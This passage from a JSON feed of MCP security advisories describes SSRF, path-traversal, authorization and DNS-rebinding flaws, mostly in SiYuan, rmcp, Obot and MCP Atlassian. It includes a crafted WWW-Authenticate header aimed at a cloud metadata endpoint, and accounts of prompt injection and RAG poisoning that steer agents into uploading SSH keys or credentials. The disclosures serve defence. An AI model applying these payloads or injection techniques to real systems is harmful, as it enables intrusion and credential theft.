`SSRFSafeDialer` *is* mounted, it only blocks private IPs when `SafeMode == true` (default false), so it would not help here regardless. The sibling path `openai.go:generatedImageDialer` *does* mount a connect-time `Control` hook (blocking private/loopback/link-local/100.64/198.18), proving the project knows the technique — the agent path is a clear omission. We report this as an **incomplete-fix variant** with a concrete v3.8.0 reproduction.\n- **CVE-2026-32110** (GHSA-56cv-c5p2-j2wg) covered the older `forwardProxy` endpoint and is unrelated to the agent tool path.\n\n## Affected Version\n\n**Dynamically verified on v3.8.0** (tag `v3.8.0`, commit `251596fc0`). A process-level DNS hijack was installed so that the attacker domain `rebind.local` returns a public IP (`203.0.113.1`) on odd (guard) resolutions and `127.0.0.1` on even (connect) resolutions; a loopback \"victim\" service returned `F9_REBIND_PROOF=reached-internal-only-service-via-TOCTOU`. Both `util.HTTPRequest(\"GET\", \"http://rebind.local:
References:
Vulnerability ID: GHSA-p23f-cm6q-2qp8
\nSeverity: UNKNOWN
\nAffected Package(s): github.com/siyuan-note/siyuan/kernel
\nDetails:
# Security Advisory — SiYuan MCP `asset.upload` Reads Arbitrary Absolute File Paths (Workspace Boundary Bypass)\n\n| Field | Value |\n|---|---|\n| **Disclosed by** | joysinleung (`joysinleung@gmail.com`) |\n| **Report date** | 2026-08-13 |\n| **Product** | SiYuan (思源笔记) — `siyuan-note/siyuan` |\n| **Go module** | `github.com/siyuan-note/siyuan/kernel` |\n| **Affected versions** | `<= 3.8.0` (latest release at report time; statically confirmed on v3.8.0) |\n| **Patched versions** | 3.8.1 |\n| **Component** | `kernel/mcp/tools/asset.go` (`assetUpload`), `kernel/model/upload.go` (`InsertLocalAssets`) |\n| **Relationship to prior advisory** | **Residual of CVE-2026-66012** (GHSA-cvhv-7xhj-xjp8) MCP remediation. See §Relationship. |\n| **EPSS (exploitation probability)** | Low. Requires the AI Agent to invoke `asset.upload` and the user to approve the (category-level) confirmation; reachable via prompt-injection of the agent. |\n| **KEV (CISA Known Exploited)** | No (not listed in CISA KEV at report time). |\n| **Default-config reachable** | **Partial** — requires the Agent/MCP surface to be configured (admin) and a user approval click; the boundary check itself is entirely absent, so any approved upload reads outside the workspace. |\n\n---\n\n## Summary\n\nSiYuan exposes a native MCP tool `asset` → `asset.upload`. Its `files` argument is documented as a **comma-separated list of absolute file paths**. The handler (`kernel/mcp/tools/asset.go:195`) only normalizes each entry with `filepath.Abs(...)` — it performs **no workspace boundary check** (`IsSubPath`) and **no sensitive-path check** (`IsSensitivePath`). The downstream `model.InsertLocalAssets` (`kernel/model/upload.go:97`) then `os.Open`s each path and copies its bytes into the workspace `assets/` directory.\n\nEvery other AI-plane file primitive in SiYuan is workspace-constrained:\n- `file` / `unzip` tools resolve paths via `resolvePath` (workspace-relative, escape-proof).\n\n`asset.upload` is the **only** AI tool that accepts arbitrary absolute paths with zero boundary validation. An attacker who can steer the Agent (prompt injection) can induce it to upload sensitive files — e.g. `/Users/victim/.ssh/id_rsa`, `~/.aws/credentials`, `/etc/passwd` — into the workspace, from where they are reachable via notes / export / sync.\n\n## Relationship to Prior Advisories\n\n- **CVE-2026-66012** (GHSA-cvhv-7xhj-xjp8) remediated the MCP endpoint by requiring `CheckAdminRole` on `/mcp` and adding `refuseToAccess` for `conf/conf.json` in the *file* tool. However, the **`asset.upload` tool was never given a workspace boundary check** — it still accepts and reads any absolute path. This is a **residual boundary omission** from that remediation: the admin gate restricts *who* may call MCP, but does not constrain *which files* `asset.upload` may read. We report it as the unpatched half of the MCP file-surface hardening.\n\n## Affected Version\n\nStatically confirmed on the latest release **v3.8.0** (tag `v3.8.0`, commit `251596fc0`):\n- `kernel/mcp/tools/asset.go:195` `assetUpload`: `abs, _ := filepath.Abs(strings.TrimSpace(f))` — normalization only.\n- `kernel/model/upload.go:97` `InsertLocalAssets`: iterates the path list and `os.Open(assetAbsPath)` → `writeAssetFile(writePath, ...)` into `assetsDirPath`; the `IsSubPath(assetsDirPath, assetAbsPath)` check at line 130 is **only a dedup guard**, not a boundary limit. No workspace/external restriction is applied.\n\n## Component\n\n- `kernel/mcp/tools/asset.go:195` — `assetUpload` (`files` arg → `filepath.Abs` only).\n- `kernel/model/upload.go:97` — `InsertLocalAssets` (`os.Open` + copy to `assets/`).\n- Contrast (safe): `kernel/mcp/tools/unzip.go:52` `unzipHandler` uses `resolvePath` (workspace-relative, escape-proof).\n\n## Attack Vector\n\n**AI Agent / prompt injection.** Victim lets the Agent process attacker-controlled web/note content → agent is induced to call `asset.upload` with `/Users/victim/.ssh/id_rsa` (or similar) as a `files` entry. The user sees a **category-level** confirmation (\"upload asset\") that does **not** display the specific source path, so the approval is effectively blind to the actual file being read. Once approved, the file is copied into the workspace and exfiltrated via notes/export/sync. No admin role is required beyond the existing Agent/MCP configuration.\n\n## Proof of Concept\n\n```jsonc\n// Agent tool call (asset.upload), attacker-influenced files argument:\n{\n \"id\": \"
References:
Vulnerability ID: GHSA-c9xm-49cp-xcr9
\nSeverity: UNKNOWN
\nAffected Package(s): rmcp
\nDetails:
## Summary\n\nThe `rmcp` OAuth client accepts a server-controlled `resource_metadata=` URL from the `WWW-Authenticate` header and fetches it without same-origin or private-network validation.\n\nAn attacker-controlled MCP server can return a `401 WWW-Authenticate: Bearer resource_metadata=\"...\"` header pointing at an internal URL, including localhost, RFC 1918 addresses, or cloud metadata endpoints. The client then performs an outbound GET to that URL from the victim application's network context.\n\n## Affected version\n\n- Repository: `modelcontextprotocol/rust-sdk`\n- Crate: `rmcp`\n- Current `main` reviewed: `c330fede90e4729c234f8e87fdbc5ea27a1dd10c`\n- Commit date: 2026-05-19\n- Affected file: `crates/rmcp/src/transport/auth.rs`\n- File blob: `3aa3e91310662c409af9dc38c9d584d6df217e9c`\n- Severity framing: High/Medium SSRF, depending on the embedding application's network position and whether response parsing gives the attacker useful success/failure or chained fetch behavior.\n\n## Source evidence\n\n`extract_www_authenticate_params()` accepts an absolute URL from the server-controlled header:\n\n```rust\nlet resource_key = \"resource_metadata=\";\nwhile let Some(pos) = header_lowercase[search_offset..].find(resource_key) {\n let global_pos = search_offset + pos + resource_key.len();\n let value_slice = &header[global_pos..];\n if let Some((value, consumed)) = Self::parse_next_header_value(value_slice) {\n if let Ok(url) = Url::parse(&value) {\n params.resource_metadata_url = Some(url);\n break;\n }\n if let Ok(url) = base_url.join(&value) {\n params.resource_metadata_url = Some(url);\n break;\n }\n```\n\nThere is no check that the parsed URL shares origin with the original MCP server, and no block for loopback, link-local, RFC 1918, or metadata hostnames.\n\n`fetch_resource_metadata_from_url()` then performs the GET:\n\n```rust\nlet response = match self\n .http_client\n .get(resource_metadata_url.clone())\n .header(HEADER_MCP_PROTOCOL_VERSION, \"2024-11-05\")\n .send()\n .await\n```\n\nAgain, there is no same-origin, scheme, host, DNS, or IP-range validation before the request.\n\n## Attack scenario\n\n1. A Rust MCP client using `rmcp` connects to an attacker-controlled MCP server, or to a compromised MCP server.\n2. The server responds to OAuth discovery with a `401` and a `WWW-Authenticate` header such as:\n\n```text\nWWW-Authenticate: Bearer resource_metadata=\"http://169.254.169.254/latest/meta-data/\"\n```\n\n3. The client parses the `resource_metadata` value as a URL.\n4. The client sends a GET request to that URL from the victim application's network context.\n\nThis can be used to probe internal services. In environments where the target endpoint returns JSON matching the expected metadata shape, the flow can also chain into additional authorization-server metadata fetches.\n\n## Impact\n\nThe direct impact is SSRF from any application embedding the rmcp OAuth client. Depending on where the client runs, this can reach:\n\n- cloud metadata endpoints;\n- localhost-only services;\n- private VPC or container-network services;\n- internal HTTP APIs not reachable from the attacker.\n\nThe attacker controls the URL through the MCP server response. The victim only needs to connect to the attacker's MCP server or a compromised server that can emit the crafted `WWW-Authenticate` header.\n\n## Public duplicate check\n\nOn 2026-05-27:\n\n- Visible repository advisories were:\n - `GHSA-9g45-5xwm-f3wc`: custom HTTP headers leak to cross-origin redirect targets.\n - `GHSA-89vp-x53w-74fx`: DNS rebinding in Streamable HTTP server transport.\n- Public issue search for `WWW-Authenticate resource_metadata SSRF` returned no open or closed matches.\n- Public issue search for `resource_metadata` returned one closed implementation issue, `#517`, about authorization discovery fallback behavior, not SSRF/resource validation.\n\nThis report is distinct from the redirect-header advisory and the DNS-rebinding advisory.\n\n## Suggested fix\n\nBefore accepting or fetching a `resource_metadata` URL:\n\n- require the URL to be same-origin with the original MCP server URL, unless the spec intentionally permits a narrow trusted exception;\n- reject loopback, link-local, RFC 1918, unique-local IPv6, and known cloud metadata hostnames;\n- reject non-HTTP(S) schemes;\n- apply the same validation to redirect targets and any follow-on metadata URLs.\n\nA minimal same-origin check would compare scheme, host, and effective port:\n\n```rust\nfn is_same_origin(base: &Url, candidate: &Url) -> bool {\n base.scheme() == candidate.scheme()\n && base.host() == candidate.host()\n && base.port_or_known_default() == candidate.port_or_known_default()\n}\n```\n\nIf cross-origin `resource_metadata` is required for compatibility, it should be explicitly opted into and protected by private-network blocking.
References:
Vulnerability ID: CVE-2026-104120
\nSeverity: UNKNOWN
\nAffected Package(s): unknown
\nDetails:
A security vulnerability has been detected in modelcontextprotocol mcp-server-fetch and mcp-server-everything up to 2026.6.4. Affected is the function fetch_url of the file mcp_server_fetch/server.py of the component Fetch Tool. The manipulation of the argument url/path leads to server-side request forgery. The attack may be initiated remotely. The exploit has been disclosed publicly and may be used. The pull request to fix this issue awaits acceptance.
References:
Vulnerability ID: CVE-2025-71427
\nSeverity: UNKNOWN
\nAffected Package(s): unknown
\nDetails:
Office-PowerPoint-MCP-Server through 2.0.7 contains a path traversal vulnerability that allows MCP callers to write and read files outside the working directory by supplying absolute paths or ../ sequences. Attackers can steer an AI agent via prompt injection to abuse save_presentation, open_presentation, or manage_image output_path to overwrite any server-writable file or load external files.\n\nOffice-PowerPoint-MCP-Server hasta la versión 2.0.7 contiene una vulnerabilidad de salto de ruta que permite a los llamadores de MCP escribir y leer archivos fuera del directorio de trabajo al proporcionar rutas absolutas o secuencias ../. Los atacantes pueden dirigir un agente de IA mediante inyección de prompts para abusar de save_presentation, open_presentation o manage_image output_path y sobrescribir cualquier archivo escribible por el servidor o cargar archivos externos.
References:
Vulnerability ID: CVE-2026-103758
\nSeverity: UNKNOWN
\nAffected Package(s): unknown
\nDetails:
Obot 0.21.1 through 0.24.1 contains an authorization bypass vulnerability that allows authenticated users to reach MCP servers because the checkUI deny list omits the /mcp-connect-composite/ route. Basic-role users with a composite MCP ID can proxy requests through mcpGateway.Proxy to invoke tools on MCP servers restricted by Access Control Rules.
References:
Vulnerability ID: CVE-2026-55157
\nSeverity: UNKNOWN
\nAffected Package(s): unknown
\nDetails:
Token Optimizer MCP measures token savings per AI coding agent, optimizes context, and shares a live local knowledge graph across 16 CLI clients. Prior to version 5.1.0, token-optimizer-mcp is vulnerable to OS command injection in the smart_user tool. Any MCP client that can call the smart_user tool can execute arbitrary shell commands through the username argument of the get-user-info operation. The commands execute with the privileges of the user running the token-optimizer-mcp server. This issue has been patched in version 5.1.0.
References:
Vulnerability ID: CVE-2026-55096
\nSeverity: UNKNOWN
\nAffected Package(s): unknown
\nDetails:
fast-mcp-telegram is a Telegram MCP Server. Prior to version 30.1, the send_message/send_message_to_phone MCP tools accept files as a list of http(s) URLs, which the server downloads and attaches to the outgoing Telegram message. Downloads are guarded by _validate_url_security, an SSRF denylist that checks the URL's literal hostname string but never resolves DNS. The fetch (httpx.AsyncClient.get) does its own resolution at request time. Consequently a hostname that resolves to a loopback / private / link-local address passes the guard and is fetched — even with the secure defaults block_private_ips=True and allow_http_urls=False. Because the fetched body is returned to the attacker as a Telegram file attachment, this is a full-read, exfiltrating SSRF, not blind. This issue has been patched in version 30.1.
References:
Vulnerability ID: CVE-2026-59563
\nSeverity: UNKNOWN
\nAffected Package(s): unknown
\nDetails:
Zscaler MCP Server versions 0.7.0 and 0.7.1 has an issue where HMAC confirmation tokens were not bound to the target resource identifier, allowing an MCP client or agent to replay a token generated for one resource to affect another resource of the same type. This issue is fixed in version 0.7.2.
References:
", "date_published": "2026-09-28T13:17:22.160Z", "date_modified": "2026-09-28T15:17:17.493Z", "tags": [ "UNKNOWN", "unknown" ] }, { "id": "urn:mcp:vulnerability:CVE-2026-101084", "url": "https://github.com/obot-platform/obot/security/advisories/GHSA-vw82-7fv8-r6gp", "title": "[UNKNOWN] CVE-2026-101084: obot versions before v0.21.1 fail to enforce Access Control Rules on the /mcp-connect endpoint, allowing any authenticat", "summary": "obot versions before v0.21.1 fail to enforce Access Control Rules on the /mcp-connect endpoint, allowing any authenticat", "content_html": "Vulnerability ID: CVE-2026-101084
\nSeverity: UNKNOWN
\nAffected Package(s): unknown
\nDetails:
obot versions before v0.21.1 fail to enforce Access Control Rules on the /mcp-connect endpoint, allowing any authenticated user to connect to restricted MCP servers if they possess the server ID. Attackers can bypass authorization checks to access and manipulate sensitive backend systems through MCP tool calls using stored OAuth credentials.
References:
Vulnerability ID: CVE-2026-101065
\nSeverity: UNKNOWN
\nAffected Package(s): unknown
\nDetails:
Obot is an open-source AI agent/MCP platform. In all versions up to and including commit d7e6970, the Docker quickstart command documented in the README starts the container listening on 0.0.0.0:8080 with authentication disabled by default. When authentication is disabled, every request is mapped to a synthetic \"nobody\" user that holds the Owner and Admin roles, so any unauthenticated party who can reach the exposed port obtains full administrative access to the Obot API and UI, including the ability to register and launch attacker-controlled MCP servers. Because the quickstart also mounts /var/run/docker.sock into the container, the MCP runtime backend reachable this way has access to the host's Docker control surface. The fix is documentation-only: the quickstart now enables authentication, and operators who followed the previous instructions should set OBOT_SERVER_ENABLE_AUTHENTICATION=true before exposing the host to any untrusted network.
References:
Vulnerability ID: CVE-2026-101064
\nSeverity: UNKNOWN
\nAffected Package(s): unknown
\nDetails:
Obot before v0.23.0 contains a server-side request forgery vulnerability in remote MCP server registration that allows privileged users to specify arbitrary URLs without destination validation. Attackers with Power User or higher roles can coerce Obot to make requests to internal services and cloud metadata endpoints, reading responses in error messages to disclose sensitive credentials.
References:
Vulnerability ID: CVE-2026-101062
\nSeverity: UNKNOWN
\nAffected Package(s): unknown
\nDetails:
Obot before v0.23.0 (affected versions <= v0.22.1) running with OBOT_SERVER_ENABLE_AUTHENTICATION=true exposes OAuth dynamic client registration without authentication and without any restriction on the redirect URIs a client may register. Because the authorization flow auto-completes for an already logged-in user with no consent screen, an attacker who registers a client pointing at their own domain and induces a logged-in victim to visit a single crafted authorization URL receives an authorization code at the attacker-controlled redirect URI and can exchange it for an access token and refresh token. The token minted by the MCP OAuth flow carries the victim's full group set in the JWT, and Obot validated only the issuer and not the audience, so the token is accepted as a bearer token against any Obot API endpoint the victim can access rather than being scoped to the requested MCP server, allowing the attacker to read or modify the victim's resources until the token is revoked. v0.23.0 adds a consent screen, restricts MCP OAuth tokens to the MCP involved in the request, and enforces audience validation.
References:
Vulnerability ID: CVE-2026-101057
\nSeverity: UNKNOWN
\nAffected Package(s): unknown
\nDetails:
utcp-mcp (the MCP plugin of python-utcp) through 1.1.2 connects to the HTTP and WebSocket MCP server URLs given in a call template's mcpServers configuration without the ensure_secure_url validation that the HTTP-family plugins apply, so the HTTPS/WSS-or-loopback rule is not enforced. A call template naming a plain-HTTP, non-loopback MCP server URL is dialed as configured, exposing the MCP handshake to network interception and permitting cleartext connections to internal hosts. The mcpServers configuration is operator-authored rather than remote data, and the connection is an MCP handshake rather than an arbitrary request returning a body, which limits practical exploitation; the OAuth2 token_url credential path described in the original report was not reachable in the affected versions, because the OAuth2 handler was never invoked and the call template's auth field was not read. Fixed in utcp-mcp 1.1.3, which validates server URLs before any connection is made.
References:
Vulnerability ID: CVE-2026-100868
\nSeverity: UNKNOWN
\nAffected Package(s): unknown, @penpot/mcp
\nDetails:
Penpot before 2.18.0 binds the MCP server plugin WebSocket bridge to all network interfaces without authentication in single-user mode. Unauthenticated attackers on adjacent networks can connect to the WebSocket port to impersonate the Penpot browser plugin, intercept task payloads, and return forged results to the MCP client.
References:
Vulnerability ID: CVE-2026-100633
\nSeverity: UNKNOWN
\nAffected Package(s): unknown
\nDetails:
SiYuan is a self-hosted personal knowledge management system. In versions 3.8.0 through 3.8.3, the MCP file tool's sensitive-path guard (util.IsForbiddenAbsPath(), invoked from resolvePath()) is applied only to the allowed root of recursive operations and not to each resolved descendant path — an incomplete fix for GHSA-c8r8-95hg-mp34. An authenticated administrator using the in-app Agent or the external MCP server can therefore bypass the protected-workspace-file denylist: file.grep can return matching lines from non-hidden protected descendants (for example conf/conf.json, TLS keys, data/snippets/conf.json, data/templates/, data/.siyuan/publishAccess.json, notebook .siyuan internals, or the kernel log), file.copy can copy protected descendants to an ordinary path where file.read can then retrieve them, and unzip can overwrite protected descendants using ordinary, lexically contained ZIP member names. Because file.grep is globally classified as a safe action, it receives no per-call confirmation, and the confirmation cards for file.copy and unzip show only the allowed root arguments. This issue is fixed in version 3.8.4. Suggested title: SiYuan 3.8.0 through 3.8.3 Sensitive-Path Guard Bypass in Recursive MCP File Operations.
References:
Vulnerability ID: CVE-2026-96526
\nSeverity: UNKNOWN
\nAffected Package(s): unknown
\nDetails:
The MCP Server for WordPress WordPress plugin before 1.8.2 does not perform an object-level authorization check on one of its workflow REST routes, allowing users with the Contributor role to disclose the title and publication status of any post, page or custom post type, including other users' private, draft, pending and scheduled content.
References:
", "date_published": "2026-09-26T07:17:03.333Z", "date_modified": "2026-09-28T15:17:09.083Z", "tags": [ "UNKNOWN", "unknown" ] }, { "id": "urn:mcp:vulnerability:CVE-2026-96525", "url": "https://github.com/JMartynov/mcp-vulnerabilities/blob/main/data/vulnerabilities/CVE-2026-96525.json", "title": "[UNKNOWN] CVE-2026-96525: The MCP Server for WordPress WordPress plugin before 1.8.2 does not perform an ownership or sufficient capability check", "summary": "The MCP Server for WordPress WordPress plugin before 1.8.2 does not perform an ownership or sufficient capability check", "content_html": "Vulnerability ID: CVE-2026-96525
\nSeverity: UNKNOWN
\nAffected Package(s): unknown
\nDetails:
The MCP Server for WordPress WordPress plugin before 1.8.2 does not perform an ownership or sufficient capability check on its workflow create, update and delete REST routes, allowing users with the Contributor role to modify, delete and create site-wide workflow configuration, including workflows created by administrators.
References:
", "date_published": "2026-09-26T07:17:03.233Z", "date_modified": "2026-09-28T15:17:09.083Z", "tags": [ "UNKNOWN", "unknown" ] }, { "id": "urn:mcp:vulnerability:CVE-2026-96524", "url": "https://github.com/JMartynov/mcp-vulnerabilities/blob/main/data/vulnerabilities/CVE-2026-96524.json", "title": "[UNKNOWN] CVE-2026-96524: The MCP Server for WordPress WordPress plugin before 1.8.2 does not correctly verify the WordPress REST API nonce for c", "summary": "The MCP Server for WordPress WordPress plugin before 1.8.2 does not correctly verify the WordPress REST API nonce for c", "content_html": "Vulnerability ID: CVE-2026-96524
\nSeverity: UNKNOWN
\nAffected Package(s): unknown
\nDetails:
The MCP Server for WordPress WordPress plugin before 1.8.2 does not correctly verify the WordPress REST API nonce for cookie-authenticated requests when a condition an attacker can influence is present, allowing unauthenticated attackers to perform administrator-only actions, including creating a new administrator account, by tricking a logged-in administrator into visiting a crafted page.
References:
", "date_published": "2026-09-26T07:17:03.130Z", "date_modified": "2026-09-28T15:17:09.083Z", "tags": [ "UNKNOWN", "unknown" ] }, { "id": "urn:mcp:vulnerability:CVE-2026-77321", "url": "https://github.com/liketrek/TREK/commit/19064b39176660f3be3a2df198c87949504046e2", "title": "[UNKNOWN] CVE-2026-77321: TREK is a collaborative travel planner. Prior to 3.3.0, the get_trip_summary tool in server/src/mcp/tools/trips.ts is re", "summary": "TREK is a collaborative travel planner. Prior to 3.3.0, the get_trip_summary tool in server/src/mcp/tools/trips.ts is re", "content_html": "Vulnerability ID: CVE-2026-77321
\nSeverity: UNKNOWN
\nAffected Package(s): unknown
\nDetails:
TREK is a collaborative travel planner. Prior to 3.3.0, the get_trip_summary tool in server/src/mcp/tools/trips.ts is registered for scoped OAuth MCP tokens without requiring trips:read and returns core trip summary data regardless of the delegated scopes. A token granted only an unrelated capability, such as weather:read, can receive trip metadata, member email addresses from server/src/services/tripService.ts, itinerary days, and accommodations for every trip accessible to the token's user. Cross-user trip authorization remains enforced, but the missing scope check defeats the consented least-privilege boundary and exposes trip content and third-party contact information to an MCP client that was not authorized to read it. This issue is fixed in version 3.3.0.
References:
Vulnerability ID: CVE-2026-61788
\nSeverity: UNKNOWN
\nAffected Package(s): unknown
\nDetails:
DBHub is a database MCP server for Postgres, MySQL, SQL Server, Oracle, MariaDB, SQLite. Prior to version 0.22.6, setting `readonly = true` on the `execute_sql` tool does not make the connection read-only. The connectors are written to set PostgreSQL `default_transaction_read_only=on` (and open SQLite in `readOnly` mode), but that code is gated on a config value that is never populated, so it never runs. The only thing left enforcing read-only is a classifier that inspects the first keyword of each statement. Any `SELECT` that writes or has side effects through a function call passes it. With an ordinary role this allows sequence tampering; with a privileged role it allows writing arbitrary files on the server (`lo_export`), reading arbitrary host files (`pg_read_file`), and remote code execution (`dblink` + `COPY ... TO PROGRAM`). The HTTP transport is unauthenticated and binds to `0.0.0.0` by default, so this is reachable by any network caller of `/mcp`. Version 0.22.6 patches the issue.
References:
", "date_published": "2026-09-24T18:17:16.837Z", "date_modified": "2026-09-30T19:57:08.043Z", "tags": [ "UNKNOWN", "unknown" ] }, { "id": "urn:mcp:vulnerability:CVE-2026-61742", "url": "https://github.com/bytebase/dbhub/security/advisories/GHSA-fm8p-53ww-hf6w", "title": "[UNKNOWN] CVE-2026-61742: DBHub is a database MCP server for Postgres, MySQL, SQL Server, Oracle, MariaDB, SQLite. Versions prior to 0.22.5 expose", "summary": "DBHub is a database MCP server for Postgres, MySQL, SQL Server, Oracle, MariaDB, SQLite. Versions prior to 0.22.5 expose", "content_html": "Vulnerability ID: CVE-2026-61742
\nSeverity: UNKNOWN
\nAffected Package(s): unknown
\nDetails:
DBHub is a database MCP server for Postgres, MySQL, SQL Server, Oracle, MariaDB, SQLite. Versions prior to 0.22.5 expose an unauthenticated HTTP MCP endpoint when started with the documented HTTP transport mode, for example `--transport http --port 8080`. The HTTP server attempts to protect browser-origin access by checking whether the `Origin` hostname equals the `Host` hostname, then reflecting the validated `Origin` into `Access-Control-Allow-Origin`. This does not stop DNS rebinding. After an attacker-controlled hostname rebinds to a victim-accessible DBHub HTTP server, both `Origin` and `Host` can contain the attacker-controlled hostname, so DBHub accepts the request and dispatches MCP tool calls. As a result, a malicious website can deterministically invoke DBHub MCP tools from the victim's browser without prompt injection or model involvement. With the default demo configuration this can read and write the demo SQLite database; with a real configured database, the same primitive can read, enumerate, and potentially write database contents depending on DBHub's configured tool permissions and database credentials. Version 0.22.5 fixes the issue.
References:
", "date_published": "2026-09-24T18:17:16.173Z", "date_modified": "2026-09-30T17:32:07.107Z", "tags": [ "UNKNOWN", "unknown" ] }, { "id": "urn:mcp:vulnerability:CVE-2026-51994", "url": "https://github.com/geelen/mcp-remote", "title": "[UNKNOWN] CVE-2026-51994: mcp-remote versions 0.1.32 through 0.1.38 are vulnerable to Server-Side Request Forgery (SSRF) via the resource_metadata", "summary": "mcp-remote versions 0.1.32 through 0.1.38 are vulnerable to Server-Side Request Forgery (SSRF) via the resource_metadata", "content_html": "Vulnerability ID: CVE-2026-51994
\nSeverity: UNKNOWN
\nAffected Package(s): unknown
\nDetails:
mcp-remote versions 0.1.32 through 0.1.38 are vulnerable to Server-Side Request Forgery (SSRF) via the resource_metadata URL extracted from a remote MCP server's WWW-Authenticate header
References:
Vulnerability ID: CVE-2026-18875
\nSeverity: UNKNOWN
\nAffected Package(s): unknown
\nDetails:
IBM Financial Transaction Manager (FTM) for RedHat OpenShift is vulnerable to RAG poisoning via unauthenticated runbook upsert (CWE-74) in the FTM AI agent server (api.vectordb.runbooks.js:51). An unauthenticated attacker can insert malicious runbook content into the agent's vector database to steer AI-driven MCP tool calls, potentially triggering unauthorized payment actions or exfiltrating payment data.
References:
", "date_published": "2026-09-23T16:16:41.850Z", "date_modified": "2026-10-07T13:03:07.517Z", "tags": [ "UNKNOWN", "unknown" ] }, { "id": "urn:mcp:vulnerability:CVE-2026-77272", "url": "https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460", "title": "[UNKNOWN] CVE-2026-77272: MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, th", "summary": "MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, th", "content_html": "Vulnerability ID: CVE-2026-77272
\nSeverity: UNKNOWN
\nAffected Package(s): unknown
\nDetails:
MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, the OAuth error query parameter is passed to CallbackHandler._send_response in oauth_setup.py and interpolated into an HTML page without escaping. A crafted authorization callback can inject markup or script that executes in the browser of a user completing the OAuth flow. This issue is fixed in version 0.22.0.
References:
Vulnerability ID: CVE-2026-77269
\nSeverity: UNKNOWN
\nAffected Package(s): unknown
\nDetails:
MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, the remediation for CVE-2026-27825 protects download destinations but does not constrain source paths used by attachment uploads. A caller can provide an absolute or traversal file_path and cause the server to upload the selected local file. The advisory traces the vulnerable input and processing flow through upload_attachment, file_path, and CVE-2026-27825, which identify the affected entry points, controls, and code paths. This issue is fixed in version 0.22.0.
References:
Vulnerability ID: CVE-2026-77268
\nSeverity: UNKNOWN
\nAffected Package(s): unknown
\nDetails:
MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, the OAuth fallback token directory and JSON file are created without explicit owner-only modes. Local users or processes with access through the resulting group or world permission bits can read access and refresh tokens and reuse the associated Atlassian session. The advisory traces the vulnerable input and processing flow through ~/.mcp-atlassian, oauth-
References:
Vulnerability ID: CVE-2026-77266
\nSeverity: UNKNOWN
\nAffected Package(s): unknown
\nDetails:
MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, upload_attachment accepts absolute paths and traversal sequences without constraining the resolved path to the server workspace. An MCP caller with attachment access can read a chosen server-local file and exfiltrate it through Jira or Confluence. The advisory traces the vulnerable input and processing flow through upload_attachment, file_path, and path traversal, which identify the affected entry points, controls, and code paths. This issue is fixed in version 0.22.0.
References:
Vulnerability ID: CVE-2026-77262
\nSeverity: UNKNOWN
\nAffected Package(s): unknown
\nDetails:
MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, confluence_upload_attachment accepts an attacker-controlled file_path and does not apply the path restriction added for the earlier download vulnerability. A caller can traverse outside the workspace and upload arbitrary server-readable files to Confluence. The advisory traces the vulnerable input and processing flow through confluence_upload_attachment, file_path, and CVE-2026-27825, which identify the affected entry points, controls, and code paths. This issue is fixed in version 0.22.0.
References:
Vulnerability ID: CVE-2026-77259
\nSeverity: UNKNOWN
\nAffected Package(s): unknown
\nDetails:
MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, confluence_upload_attachment opens a caller-selected server-local file without checking that the resolved path remains in the workspace. A caller can upload environment files, credentials, or other readable host data to a Confluence page and retrieve it through Atlassian. The advisory traces the vulnerable input and processing flow through confluence_upload_attachment, file_path, and open(file_path, \"rb\"), which identify the affected entry points, controls, and code paths. This issue is fixed in version 0.22.0.
References:
Vulnerability ID: CVE-2026-77257
\nSeverity: UNKNOWN
\nAffected Package(s): unknown
\nDetails:
MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, HTTP-exposed Jira and Confluence upload tools pass a caller-provided file_path to local file operations without restricting it to the workspace. A remote MCP caller with tool access can cause the server to read sensitive local files and upload them as Atlassian attachments. The advisory traces the vulnerable input and processing flow through streamable-http, upload_attachment, and file_path, which identify the affected entry points, controls, and code paths. This issue is fixed in version 0.22.0.
References:
Vulnerability ID: CVE-2026-77256
\nSeverity: UNKNOWN
\nAffected Package(s): unknown
\nDetails:
MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, the plaintext OAuth fallback file containing refresh and access tokens is written with permissions inherited from the process umask. Under common or permissive configurations, other local users can read the backup and retain Atlassian access through the refresh token. The advisory traces the vulnerable input and processing flow through OAuthConfig._save_tokens_to_file, refresh_token, access_token, and umask, which identify the affected entry points, controls, and code paths. This issue is fixed in version 0.22.0.
References:
Vulnerability ID: CVE-2026-77255
\nSeverity: UNKNOWN
\nAffected Package(s): unknown
\nDetails:
MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, the Jira update_issue attachments argument is converted into local paths and routed to the attachment upload implementation without workspace validation. A caller can make the MCP server read arbitrary local files and attach them to a Jira issue, using the server as a confused deputy to exfiltrate the contents. The advisory traces the vulnerable input and processing flow through jira update_issue, attachments, upload_attachment, and file_path, which identify the affected entry points, controls, and code paths. This issue is fixed in version 0.22.0.
References:
Vulnerability ID: CVE-2026-77254
\nSeverity: UNKNOWN
\nAffected Package(s): unknown
\nDetails:
MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, requests to the HTTP MCP endpoint without a per-user identity are allowed to reach tool handlers, which then use globally configured Jira or Confluence credentials. A network caller can perform operations with the operator account's permissions unless the deployment has an independent authentication boundary. The advisory traces the vulnerable input and processing flow through streamable-http, UserTokenMiddleware, _get_fetcher, and global credentials, which identify the affected entry points, controls, and code paths. This issue is fixed in version 0.22.0.
References:
Vulnerability ID: CVE-2026-77253
\nSeverity: UNKNOWN
\nAffected Package(s): unknown
\nDetails:
